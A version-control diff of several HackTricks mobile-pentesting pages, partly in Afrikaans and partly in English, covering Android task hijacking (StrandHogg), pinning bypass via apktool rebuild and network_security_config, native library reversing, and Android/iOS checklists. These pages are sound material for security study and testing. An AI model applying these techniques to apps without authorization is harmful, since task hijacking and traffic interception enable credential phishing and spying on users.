- Deaktiveer lêer toegang (````setAllowFileAccess(false)````) beperk toegang tot die lêerstelsel, met uitsonderings vir sekere bates, wat verseker dat hulle slegs vir nie-sensitiewe inhoud gebruik word.
## Other App Components and Mobile Device Management
@ -374,7 +366,7 @@ Om lêertoegang te beheer:
### **Mobile Device Management (MDM)**
- **MDM-oplossings** bied **toesig en sekuriteit** vir mobiele toestelle deur middel van **Device Administration API**. Hulle vereis die installasie van 'n Android-app om mobiele toestelle effektief te bestuur en te beveilig. Sleutel funksies sluit in **afdwinging van wagwoordbeleide**, **verpligte stoor-enkripsie**, en **toestemming vir afstandsdata-wipe**, wat omvattende beheer en sekuriteit oor mobiele toestelle verseker.
- **MDM-oplossings** bied **toesig en sekuriteit** vir mobiele toestelle deur middel van **Device Administration API**. Hulle vereis die installasie van 'n Android-app om mobiele toestelle effektief te bestuur en te beveilig. Sleutelfunksies sluit in **afdwinging van wagwoordbeleide**, **verpligte stoor-enkripsie**, en **toestemming vir afstandsdata-wipe**, wat omvattende beheer en sekuriteit oor mobiele toestelle verseker.
```java
// Example of enforcing a password policy with MDM
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
@ -385,12 +377,6 @@ if (dpm.isAdminActive(adminComponent)) {
dpm.setPasswordMinimumLength(adminComponent, 8);
}
```
**Probeer Hard Sekuriteitsgroep**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -15,61 +15,48 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
</details>
{% endhint %}
**Try Hard Security Group**
## Task, Back Stack and Foreground Activities
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Taak, Terug Stapel en Voorgrond Aktiwiteite
In Android is 'n **taak** basies 'n stel aktiwiteite waarmee gebruikers interaksie het om 'n spesifieke werk te voltooi, georganiseer binne 'n **terug stapel**. Hierdie stapel rangskik aktiwiteite gebaseer op wanneer hulle geopen is, met die mees onlangse aktiwiteit wat boaan vertoon word as die **voorgrond aktiwiteit**. Op enige oomblik is slegs hierdie aktiwiteit sigbaar op die skerm, wat dit deel van die **voorgrond taak** maak.
In Android, 'n **task** is essensieel 'n stel aktiwiteite waarmee gebruikers interaksie het om 'n spesifieke taak te voltooi, georganiseer binne 'n **back stack**. Hierdie stapel orden aktiwiteite gebaseer op wanneer hulle geopen is, met die mees onlangse aktiwiteit wat boaan vertoon word as die **foreground activity**. Op enige oomblik is slegs hierdie aktiwiteit sigbaar op die skerm, wat dit deel maak van die **foreground task**.
Hier is 'n vinnige opsomming van aktiwiteit oorgange:
* **Aktiwiteit 1** begin as die enigste aktiwiteit in die voorgrond.
* Die bekendstelling van **Aktiwiteit 2** druk **Aktiwiteit 1** na die terug stapel, wat **Aktiwiteit 2** na die voorgrond bring.
* **Aktiwiteit 1** begin as die enigste aktiwiteit in die foreground.
* Die bekendstelling van **Aktiwiteit 2** druk **Aktiwiteit 1** na die back stack, wat **Aktiwiteit 2** na die foreground bring.
* Die begin van **Aktiwiteit 3** skuif **Aktiwiteit 1** en **Aktiwiteit 2** verder terug in die stapel, met **Aktiwiteit 3** nou voor.
* Die sluiting van **Aktiwiteit 3** bring **Aktiwiteit 2** terug na die voorgrond, wat Android se gestroomlynde taak navigasiemeganisme demonstreer.
* Die sluiting van **Aktiwiteit 3** bring **Aktiwiteit 2** terug na die foreground, wat Android se gestroomlynde taak navigasiemeganisme demonstreer.
![https://developer.android.com/images/fundamentals/diagram\_backstack.png](<../../.gitbook/assets/image (698).png>)
## Taak affiniteit aanval
## Task affinity attack
### Oorsig van Taak Affiniteit en Begin Modusse
### Overview of Task Affinity and Launch Modes
In Android toepassings spesifiseer **taak affiniteit** 'n aktiwiteit se verkiesde taak, wat tipies ooreenstem met die app se pakketnaam. Hierdie opstelling is noodsaaklik om 'n bewys-van-konsep (PoC) app te skep om die aanval te demonstreer.
In Android toepassings, **task affinity** spesifiseer 'n aktiwiteit se verkiesde taak, wat tipies ooreenstem met die app se pakketnaam. Hierdie opstelling is instrumenteel in die skep van 'n bewys-van-konsep (PoC) app om die aanval te demonstreer.
### Begin Modusse
### Launch Modes
Die `launchMode` attribuut rig die hantering van aktiwiteit instansies binne take. Die **singleTask** modus is van kardinale belang vir hierdie aanval, wat drie scenario's bepaal gebaseer op die bestaande aktiwiteit instansies en taak affiniteit ooreenkomste. Die uitbuiting hang af van die vermoë van 'n aanvaller se app om die teiken app se taak affiniteit na te boots, wat die Android stelsel mislei om die aanvaller se app te begin in plaas van die bedoelde teiken.
### Gedetailleerde Aanval Stappe
### Detailed Attack Steps
1. **Kwaadwillige App Installasie**: Die slagoffer installeer die aanvaller se app op hul toestel.
2. **Begin Aktivering**: Die slagoffer open eers die kwaadwillige app, wat die toestel vir die aanval voorberei.
2. **Begin Aktivering**: Die slagoffer open eers die kwaadwillige app, wat die toestel voorberei vir die aanval.
3. **Teiken App Begin Poging**: Die slagoffer probeer om die teiken app te open.
4. **Hijack Uitvoering**: As gevolg van die ooreenstemmende taak affiniteit, word die kwaadwillige app bekendgestel in plaas van die teiken app.
5. **Bedrog**: Die kwaadwillige app bied 'n vals aanmeldskerm aan wat die teiken app naboots, wat die gebruiker mislei om sensitiewe inligting in te voer.
5. **Bedrog**: Die kwaadwillige app bied 'n vals aanmeldskerm aan wat soos die teiken app lyk, wat die gebruiker mislei om sensitiewe inligting in te voer.
Vir 'n praktiese implementering van hierdie aanval, verwys na die Taak Hijacking Strandhogg repository op GitHub: [Task Hijacking Strandhogg](https://github.com/az0mb13/Task\_Hijacking\_Strandhogg).
Vir 'n praktiese implementering van hierdie aanval, verwys na die Task Hijacking Strandhogg repository op GitHub: [Task Hijacking Strandhogg](https://github.com/az0mb13/Task\_Hijacking\_Strandhogg).
### Voorkoming Maatreëls
### Prevention Measures
Om sulke aanvalle te voorkom, kan ontwikkelaars `taskAffinity` op 'n leë string stel en die `singleInstance` beginmodus kies, wat verseker dat hul app van ander geïsoleer is. Die aanpassing van die `onBackPressed()` funksie bied addisionele beskerming teen taak hijacking.
Om sulke aanvalle te voorkom, kan ontwikkelaars `taskAffinity` op 'n leë string stel en die `singleInstance` bekendstellingsmodus kies, wat verseker dat hul app se isolasie van ander. Die aanpassing van die `onBackPressed()` funksie bied addisionele beskerming teen taak hijacking.
## **Verwysings**
## **References**
* [**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/)
* [**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
**Try Hard Security Group**
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\

View file

@ -1,31 +1,23 @@
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Ondersteun HackTricks</summary>
<summary>Support HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Probeer Hard Sekuriteitsgroep**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
Sommige toepassings hou nie van gebruikers afgelaaide sertifikate nie, so om webverkeer vir sommige apps te inspekteer, moet ons eintlik die toepassing dekompileer & 'n paar dinge byvoeg & dit weer compileer.
Sommige toepassings hou nie van gebruikersafgelaaide sertifikate nie, so om webverkeer vir sommige toepassings te inspekteer, moet ons eintlik die toepassing dekompileer, 'n paar dinge byvoeg en dit weer compileer.
# Outomaties
Die hulpmiddel [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) sal **outomaties** die nodige veranderinge aan die toepassing maak om die versoeke te begin vasvang en sal ook sertifikaat pinning deaktiveer (indien enige).
Die hulpmiddel [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) sal **outomaties** die nodige veranderinge aan die toepassing maak om die versoeke te begin vasvang en sal ook sertifikaat-pinning deaktiveer (indien enige).
# Handmatig
@ -33,19 +25,19 @@ Eerstens dekompileer ons die app: `apktool d *file-name*.apk`
![](../../.gitbook/assets/img9.png)
Dan gaan ons in die **Manifest.xml** lêer & blaai af na die `<\application android>` etiket & ons gaan die volgende lyn byvoeg as dit nie daar is nie:
Dan gaan ons in die **Manifest.xml**-lêer en blaai af na die `<\application android>`-etiket en ons gaan die volgende lyn byvoeg as dit nie daar is nie:
`android:networkSecurityConfig="@xml/network_security_config`
Voor toevoeging:
Voor die toevoeging:
![](../../.gitbook/assets/img10.png)
Na toevoeging:
Na die toevoeging:
![](../../.gitbook/assets/img11.png)
Gaan nou in die **res/xml** vouer & skep/wysig 'n lêer genaamd network\_security\_config.xml met die volgende inhoud:
Nou gaan in die **res/xml**-map en skep/wysig 'n lêer genaamd network\_security\_config.xml met die volgende inhoud:
```markup
<network-security-config>
<base-config>
@ -58,23 +50,23 @@ Gaan nou in die **res/xml** vouer & skep/wysig 'n lêer genaamd network\_securit
</base-config>
</network-security-config>
```
Dan stoor die lêer en gaan uit al die gidse en herbou die apk met die volgende opdrag: `apktool b *folder-name/* -o *output-file.apk*`
Then save the file & back out of all the directories & rebuild the apk with the following command: `apktool b *folder-name/* -o *output-file.apk*`
![](../../.gitbook/assets/img12.png)
Laastens, jy moet net die **nuwe aansoek teken**. [Lees hierdie afdeling van die bladsy Smali - Decompiling/\[Modifying\]/Compiling om te leer hoe om dit te teken](smali-changes.md#sing-the-new-apk).
Finally, you need just to **teken die nuwe aansoek**. [Read this section of the page Smali - Decompiling/\[Modifying\]/Compiling to learn how to sign it](smali-changes.md#sing-the-new-apk).
{% hint style="success" %}
Leer en oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer en oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Ondersteun HackTricks</summary>
<summary>Support HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -15,30 +15,17 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekening oorname en ransomware-aanvalle te bekamp wat voortspruit uit inligting-steel malware.
Jy kan hul webwerf nagaan en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
***
**Vir verdere inligting, kyk:** [**https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html)
**Vir verdere inligting kyk:** [**https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html)
Android-apps kan inheemse biblioteke gebruik, wat tipies in C of C++ geskryf is, vir prestasiekritieke take. Malware-skeppers gebruik ook hierdie biblioteke, aangesien dit moeiliker is om om te keer as DEX bytecode. Die afdeling beklemtoon omgekeerde ingenieursvaardighede wat op Android toegespits is, eerder as om assembler tale te leer. ARM en x86 weergawes van biblioteke word verskaf vir kompatibiliteit.
### Sleutelpunte:
* **Inheemse Biblioteke in Android Apps:**
* Gebruik vir prestasieweektake.
* Gebruik vir prestasiewe intensive take.
* Geskryf in C of C++, wat omgekeerde ingenieurswese uitdagend maak.
* Gevind in `.so` (gedeelde objek) formaat, soortgelyk aan Linux-binaries.
* Gevind in `.so` (gedeelde objek) formaat, soortgelyk aan Linux binêre.
* Malware-skeppers verkies inheemse kode om analise moeiliker te maak.
* **Java Native Interface (JNI) & Android NDK:**
* JNI laat Java-metodes toe om in inheemse kode geïmplementeer te word.
@ -49,17 +36,17 @@ Android-apps kan inheemse biblioteke gebruik, wat tipies in C of C++ geskryf is,
* JNI\_OnLoad word uitgevoer tydens biblioteeklaai.
* Java-verklaarde inheemse metodes skakel na inheemse funksies, wat uitvoering moontlik maak.
* **Koppeling van Java Metodes aan Inheemse Funksies:**
* **Dinamiese Koppeling:** Funksienaam in inheemse biblioteke pas 'n spesifieke patroon, wat outomatiese koppeling moontlik maak.
* **Dinamiese Koppeling:** Funksienaam in inheemse biblioteke pas by 'n spesifieke patroon, wat outomatiese koppeling moontlik maak.
* **Statische Koppeling:** Gebruik `RegisterNatives` vir koppeling, wat buigsaamheid in funksienaam en struktuur bied.
* **Omgekeerde Ingenieursgereedskap en Tegnieke:**
* Gereedskap soos Ghidra en IDA Pro help om inheemse biblioteke te analiseer.
* `JNIEnv` is noodsaaklik om JNI-funksies en interaksies te verstaan.
* Oefeninge word verskaf om te oefen met die laai van biblioteke, koppeling van metodes, en identifisering van inheemse funksies.
* `JNIEnv` is van kardinale belang om JNI-funksies en interaksies te verstaan.
* Oefeninge word verskaf om te oefen met die laai van biblioteke, die koppeling van metodes, en die identifisering van inheemse funksies.
### Hulpbronne:
* **Leer ARM Assembly:**
* Aangerade vir 'n dieper begrip van die onderliggende argitektuur.
* Voorstel vir 'n dieper begrip van die onderliggende argitektuur.
* [ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/) van Azeria Labs word aanbeveel.
* **JNI & NDK Dokumentasie:**
* [Oracle se JNI Spesifikasie](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html)
@ -68,17 +55,6 @@ Android-apps kan inheemse biblioteke gebruik, wat tipies in C of C++ geskryf is,
* **Foutopsporing van Inheemse Biblioteke:**
* [Foutopsporing van Android Inheemse Biblioteke met JEB Decompiler](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3)
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekening oorname en ransomware-aanvalle te bekamp wat voortspruit uit inligting-steel malware.
Jy kan hul webwerf nagaan en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\

View file

@ -15,14 +15,6 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
### [Leer Android basiese beginsels](android-app-pentesting/#2-android-application-fundamentals)
* [ ] [Basiese beginsels](android-app-pentesting/#fundamentals-review)
@ -42,7 +34,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
### [Statiese Analise](android-app-pentesting/#static-analysis)
* [ ] Kyk vir die gebruik van [obfuscation](android-checklist.md#some-obfuscation-deobfuscation-information), kyk of die mobiele toestel ge-root is, of 'n emulator gebruik word en anti-tampering kontroles. [Lees dit vir meer inligting](android-app-pentesting/#other-checks).
* [ ] Sensitiewe toepassings (soos banktoepassings) moet kyk of die mobiele toestel ge-root is en moet dienooreenkomstig optree.
* [ ] Sensitiewe toepassings (soos banktoepassings) moet kyk of die mobiele toestel ge-root is en moet gevolglik optree.
* [ ] Soek na [interessante stringe](android-app-pentesting/#looking-for-interesting-info) (wagwoorde, URL's, API, versleuteling, agterdeure, tokens, Bluetooth uuids...).
* [ ] Spesiale aandag aan [firebase ](android-app-pentesting/#firebase)APIs.
* [ ] [Lees die manifest:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
@ -61,7 +53,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
### [Dinamiese Analise](android-app-pentesting/#dynamic-analysis)
* [ ] Berei die omgewing voor ([aanlyn](android-app-pentesting/#online-dynamic-analysis), [lokale VM of fisies](android-app-pentesting/#local-dynamic-analysis))
* [ ] Is daar enige [onbedoelde data lekkasie](android-app-pentesting/#unintended-data-leakage) (logging, kopie/plak, crash logs)?
* [ ] Is daar enige [onbedoelde data lek](android-app-pentesting/#unintended-data-leakage) (logging, kopie/plak, crash logs)?
* [ ] [Vertroulike inligting wat in SQLite dbs gestoor word](android-app-pentesting/#sqlite-dbs)?
* [ ] [Ontginbare blootgestelde Aktiwiteite](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)?
* [ ] [Ontginbare Inhoud Verskaffers](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)?
@ -77,13 +69,6 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
* [ ] [Lees hier](android-app-pentesting/#obfuscating-deobfuscating-code)
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -3,7 +3,7 @@
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkvloei** te **automate** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapstoestelle.\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkvloei** te **automate** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapstools.\
Kry Toegang Vandag:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -23,107 +23,93 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
</details>
{% endhint %}
**Try Hard Security Group**
### Preparation
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
* [ ] Lees [**iOS Basics**](ios-pentesting/ios-basics.md)
* [ ] Berei jou omgewing voor deur [**iOS Testing Environment**](ios-pentesting/ios-testing-environment.md) te lees
* [ ] Lees al die afdelings van [**iOS Initial Analysis**](ios-pentesting/#initial-analysis) om algemene aksies te leer om 'n iOS-toepassing te pentest
{% embed url="https://discord.gg/tryhardsecurity" %}
### Data Storage
***
### Voorbereiding
* [ ] Lees [**iOS Basiese Beginsels**](ios-pentesting/ios-basics.md)
* [ ] Berei jou omgewing voor deur [**iOS Toets Omgewing**](ios-pentesting/ios-testing-environment.md) te lees
* [ ] Lees al die afdelings van [**iOS Beginanalise**](ios-pentesting/#initial-analysis) om algemene aksies te leer om 'n iOS toepassing te pentest
### Data Berging
* [ ] [**Plist lêers**](ios-pentesting/#plist) kan gebruik word om sensitiewe inligting te stoor.
* [ ] [**Core Data**](ios-pentesting/#core-data) (SQLite databasis) kan sensitiewe inligting stoor.
* [ ] [**YapDatabases**](ios-pentesting/#yapdatabase) (SQLite databasis) kan sensitiewe inligting stoor.
* [ ] [**Plist files**](ios-pentesting/#plist) kan gebruik word om sensitiewe inligting te stoor.
* [ ] [**Core Data**](ios-pentesting/#core-data) (SQLite-databasis) kan sensitiewe inligting stoor.
* [ ] [**YapDatabases**](ios-pentesting/#yapdatabase) (SQLite-databasis) kan sensitiewe inligting stoor.
* [ ] [**Firebase**](ios-pentesting/#firebase-real-time-databases) mis-konfigurasie.
* [ ] [**Realm databasis**](ios-pentesting/#realm-databases) kan sensitiewe inligting stoor.
* [ ] [**Couchbase Lite databasis**](ios-pentesting/#couchbase-lite-databases) kan sensitiewe inligting stoor.
* [ ] [**Binaire koekies**](ios-pentesting/#cookies) kan sensitiewe inligting stoor
* [ ] [**Cache data**](ios-pentesting/#cache) kan sensitiewe inligting stoor
* [ ] [**Outomatiese snapshots**](ios-pentesting/#snapshots) kan visuele sensitiewe inligting stoor
* [ ] [**Realm databases**](ios-pentesting/#realm-databases) kan sensitiewe inligting stoor.
* [ ] [**Couchbase Lite databases**](ios-pentesting/#couchbase-lite-databases) kan sensitiewe inligting stoor.
* [ ] [**Binary cookies**](ios-pentesting/#cookies) kan sensitiewe inligting stoor.
* [ ] [**Cache data**](ios-pentesting/#cache) kan sensitiewe inligting stoor.
* [ ] [**Automatic snapshots**](ios-pentesting/#snapshots) kan visuele sensitiewe inligting stoor.
* [ ] [**Keychain**](ios-pentesting/#keychain) word gewoonlik gebruik om sensitiewe inligting te stoor wat agtergelaat kan word wanneer die foon weer verkoop word.
* [ ] In samevatting, net **kyk vir sensitiewe inligting wat deur die toepassing in die lêerstelsel gestoor is**
* [ ] In samevatting, net **kyk vir sensitiewe inligting wat deur die toepassing in die lêerstelsel gestoor is.**
### Sleutels
### Keyboards
* [ ] Laat die toepassing [**toe om pasgemaakte sleutels te gebruik**](ios-pentesting/#custom-keyboards-keyboard-cache)?
* [ ] Kyk of sensitiewe inligting in die [**sleutels cache lêers**](ios-pentesting/#custom-keyboards-keyboard-cache) gestoor word
* [ ] Laat die toepassing [**toe om pasgemaakte sleutelborde te gebruik**](ios-pentesting/#custom-keyboards-keyboard-cache)?
* [ ] Kyk of sensitiewe inligting in die [**keyboards cache files**](ios-pentesting/#custom-keyboards-keyboard-cache) gestoor word.
### **Lukke**
### **Logs**
* [ ] Kyk of [**sensitiewe inligting gelog word**](ios-pentesting/#logs)
* [ ] Kyk of [**sensitiewe inligting gelog word**](ios-pentesting/#logs).
### Rugsteun
### Backups
* [ ] [**Rugsteun**](ios-pentesting/#backups) kan gebruik word om **toegang te verkry tot die sensitiewe inligting** wat in die lêerstelsel gestoor is (kyk na die aanvanklike punt van hierdie kontrolelys)
* [ ] Ook, [**rugsteun**](ios-pentesting/#backups) kan gebruik word om **sommige konfigurasies van die toepassing te wysig**, dan **herstel** die rugsteun op die foon, en soos die **gewysigde konfigurasie** **gelaai** word, kan sommige (sekuriteit) **funksionaliteit** **omseil** word
* [ ] [**Backups**](ios-pentesting/#backups) kan gebruik word om **toegang te verkry tot die sensitiewe inligting** wat in die lêerstelsel gestoor is (kyk na die aanvanklike punt van hierdie kontrolelys).
* [ ] Ook, [**backups**](ios-pentesting/#backups) kan gebruik word om **sekere konfigurasies van die toepassing te wysig**, dan **herstel** die rugsteun op die foon, en soos die **gewysigde konfigurasie** **gelaai** word, kan sommige (sekuriteit) **funksionaliteit** **omseil** word.
### **Toepassingsgeheue**
### **Applications Memory**
* [ ] Kyk vir sensitiewe inligting binne die [**toepassing se geheue**](ios-pentesting/#testing-memory-for-sensitive-data)
* [ ] Kyk vir sensitiewe inligting binne die [**toepassing se geheue**](ios-pentesting/#testing-memory-for-sensitive-data).
### **Gebroke Kriptografie**
### **Broken Cryptography**
* [ ] Kyk of jy [**wagwoorde wat vir kriptografie gebruik word**](ios-pentesting/#broken-cryptography) kan vind
* [ ] Kyk vir die gebruik van [**verouderde/ swak algoritmes**](ios-pentesting/#broken-cryptography) om sensitiewe data te stuur/stoor
* [ ] [**Haal en monitor kriptografie funksies**](ios-pentesting/#broken-cryptography)
* [ ] Kyk of jy [**wagwoorde wat vir kriptografie gebruik word**](ios-pentesting/#broken-cryptography) kan vind.
* [ ] Kyk vir die gebruik van [**verouderde/ swak algoritmes**](ios-pentesting/#broken-cryptography) om sensitiewe data te stuur/stoor.
* [ ] [**Hook en monitor kriptografie funksies**](ios-pentesting/#broken-cryptography).
### **Plaaslike Verifikasie**
### **Local Authentication**
* [ ] As 'n [**plaaslike verifikasie**](ios-pentesting/#local-authentication) in die toepassing gebruik word, moet jy kyk hoe die verifikasie werk.
* [ ] As dit die [**Plaaslike Verifikasie Raamwerk**](ios-pentesting/#local-authentication-framework) gebruik, kan dit maklik omseil word
* [ ] As dit 'n [**funksie gebruik wat dinamies omseil kan word**](ios-pentesting/#local-authentication-using-keychain), kan jy 'n pasgemaakte frida-skrip skep
* [ ] As 'n [**lokale outentisering**](ios-pentesting/#local-authentication) in die toepassing gebruik word, moet jy kyk hoe die outentisering werk.
* [ ] As dit die [**Local Authentication Framework**](ios-pentesting/#local-authentication-framework) gebruik, kan dit maklik omseil word.
